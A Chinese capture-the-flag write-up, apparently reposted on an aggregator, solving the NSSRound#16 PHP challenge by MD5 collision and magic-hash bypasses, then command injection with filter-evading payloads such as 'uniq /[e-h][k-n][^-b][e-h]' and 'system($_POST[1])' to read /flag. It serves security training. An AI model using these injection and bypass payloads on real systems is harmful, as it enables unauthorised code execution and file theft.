[NSSRound#16 Basic]RCE但是没有完全RCE

这篇具有很好参考价值的文章主要介绍了[NSSRound#16 Basic]RCE但是没有完全RCE。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

题目代码:
[NSSRound#16 Basic]RCE但是没有完全RCE,CTF,网络安全,web安全,http,网络,笔记

<?php
error_reporting(0);
highlight_file(__file__);
include('level2.php');
if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {
    if ((string)$_GET['md5_1'] !== (string)$_GET['md5_2'] && md5($_GET['md5_1']) === md5($_GET['md5_2'])) {
        if (isset($_POST['md5_3'])&&md5($_POST['md5_3']) == md5($_POST['md5_3'])) {
            echo $level2;
        } else {
            echo "您!!!!!那么现在阁下又该如何应对呢";
        }
    } else {
        echo "还在用传统方法????";
    }
} else {
    echo "来做做熟悉的MD5~";
}

第一个是md5强类型比较,用数组md5_1[]=1&md5_2[]=2不行,那就用md5碰撞,使用payload:

?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个是md5弱类型比较,
只要两个数的md5加密后的值以0e开头就可以绕过,因为php在进行弱类型比较(即==)时,会先转换字符串的类型,再进行比较,而在比较时因为两个数都是以0e开头会被认为是科学计数法,0e后面加任何数在科学计数法中都是0,所以两数相等,
使用这些payload都可以:

240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361

然后就通过了第一关:
[NSSRound#16 Basic]RCE但是没有完全RCE,CTF,网络安全,web安全,http,网络,笔记

第二关,访问3z_RC3.php
[NSSRound#16 Basic]RCE但是没有完全RCE,CTF,网络安全,web安全,http,网络,笔记
GET传参cmd=dir /,POST传参shell=system
因为l被过滤了,用不了ls,所以可以用dir
然后再根目录发现flag
[NSSRound#16 Basic]RCE但是没有完全RCE,CTF,网络安全,web安全,http,网络,笔记
cat用不了可以用more``uniq等等很多,具体可以参考大佬博客:[]()

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

然后f``l``a``g``?``*都被过滤了,这时候可以用中括号[]来进行正则匹配.
例如[a-z]就表示匹配字母a到字母z中的任意一个字符
那就把GET传的参数改为?cmd=uniq /[e-h][k-n][^-b][e-h]
最后就得到flag了
[NSSRound#16 Basic]RCE但是没有完全RCE,CTF,网络安全,web安全,http,网络,笔记

NSSCTF{acd8b315-208c-4f87-8365-c697f9db397c}

收集其他师傅的payload:

/3z_RC3.php?cmd=system($_POST[1]);

shell=urldecode&1=cat /flag

这里妙就妙在让 s h e l l 形同虚设,让 shell形同虚设,让 shell形同虚设,让cmd自成一个包含函数和参数的完整命令执行。再要绕waf很自然就想到用$_POST[1]来转接。
B站风二西讲解视频【【CTF-web】[NSSRound#16 Basic]RCE但是没有完全RCE】 https://www.bilibili.com/video/BV1zi4y1i78T/?share_source=copy_web&vd_source=12088c39299ad03109d9a21304b34fef文章来源地址https://www.toymoban.com/news/detail-817090.html

到了这里,关于[NSSRound#16 Basic]RCE但是没有完全RCE的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [NSSRound#13 Basic]flask?jwt?解题思路&过程

    打开题目链接,是一个登录框,不加验证码,且在注册用户名admin时提示该用户名已被注册,因此爆破也是一种思路。不过根据题目名字中的提示,jwt,且拥有注册入口,注册一个用户先。 注册完用户,通过getFlag按钮,得到提示不是admin用户,在忘记密码的页面,找到flask的

    2024年02月13日
    浏览(54)
  • 【misc】[NSSRound#12 Basic]Secrets in Shadow --linux提权,shadow文件hash爆破

    首先使用ssh连上主机 : ssh ctf@node5.anna.nssctf.cn -p 28844  接着再输入 ls -a l查看文件 尝试打开文件,发现权限不够,根据题目的提示打开shadow文件 在以前的Linux系统中,用户名、所在的用户组、密码(单向加密)等信息都存储在、/etc/shadow的 文件中,很多软件通过调用这个文件

    2024年02月04日
    浏览(41)
  • NSSRound16

    审核代码,简单的md5绕过。 md5绕过,命令组合,shell里``中的内容会被当成代码执行 md5等于的绕过方法 数组绕过 a[]=1b[]=2, 0e绕过弱比较,md5后的值以0e开头即可绕过。 $a==md5 $a=0e215962017其md5后的值也为0e开头 md5碰撞绕过强比较。 md5碰撞绕过md5_1和2,数组绕过md5_3 进入新目录。

    2024年02月19日
    浏览(27)
  • 【CTF】命令执行RCE

    *方法一* : 查看靶场内容,其中过滤了flag字样,那么也就是说可以执行phpinfo()、system()等的命令。一般目标的敏感文件位于tmp目录下,使用命令c=system(“ls /tmp”)查看tmp目录下的文件,由结果可看出其中有flag.php文件。然后使用命令system(“cat /tmp/flag.php”)即理论上可以查看

    2024年02月03日
    浏览(49)
  • [NSSCTF Round#16 Basic]了解过PHP特性吗

    第一页题目代码: 第一关:intval 无数字绕过 推荐博客:CTFshow刷题日记-WEB-PHP特性(上) num 中没有数字却要通过 intval 的检测。 已知 intval 有如下特性: 那么只需要传入一个非空的数组即可: 第二关:ctype_alpha is_numeric md5 弱比较绕过 推荐博客:MD5绕过 ctype_alpha 函数检测提

    2024年01月18日
    浏览(34)
  • 【Web】NSSCTF Round#16 Basic个人wp(全)

    出题友好,适合手生复健。 目录 ①RCE但是没有完全RCE ②了解过PHP特性吗 上来就是一段md5八股 (string)就是不让用数组了,然后强比较需要md5碰撞  之后是要md5前后都是0e   成功过掉,访问3z_RC3.php  这里可能有师傅会想用hex2bin,但编码后会有f和a两个字母不能用,限制太大,反

    2024年01月21日
    浏览(38)
  • NSSCTF Round#16 Basic crypto misc-wp

    题目 CRT 我的解答: 这道题也很常见,首先我们来简单分析一下题目吧! 题目给了三个512位的素数p,q,r,并且有: n1 = p * q n2 = q * r 密文如下: c1 = m ** e mod n1 c2 = m ** e mod n2 题目给出了密文c1,c2和p,r,需要我们解出flag。 题目没有给出q,而且n1和n2都有公因子q,因此根据

    2024年02月02日
    浏览(33)
  • 网络安全-JDBC反序列化漏洞与RCE

    ubuntu 20:ip 10.28.144.100,安装docker、python3、docker-compose(可选)、Java(可选) windows11:ip 10.28.144.10,安装了Java、wireshark、Navicat(可选)、IDEA(可选) Java中这些magic方法在反序列化的时候会自动调用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    浏览(40)
  • 网络安全、夺旗赛(CTF)技能汇总_ctf夺旗赛

    本文综合博主参赛准备经历,总结介绍了过程中了解的网络安全、夺旗赛(CTF)相关知识及资源,分为资料篇、工具篇、解题思路篇。 资料篇 CTF Wiki 对CTF整体介绍,各个方向的介绍,有例题,入门必备。 CTF工具集合 集成了工具资源,方便下载。 如果你对网络安全入门感兴

    2024年02月07日
    浏览(51)
  • 网络安全CTF比赛有哪些事?——《CTF那些事儿》告诉你

    目录 前言 一、内容简介 二、读者对象  三、专家推荐  四、全书目录   CTF比赛是快速提升网络安全实战技能的重要途径,已成为各个行业选拔网络安全人才的通用方法。但是,本书作者在从事CTF培训的过程中,发现存在几个突出的问题: 1)线下CTF比赛培训中存在严重的

    2024年02月08日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包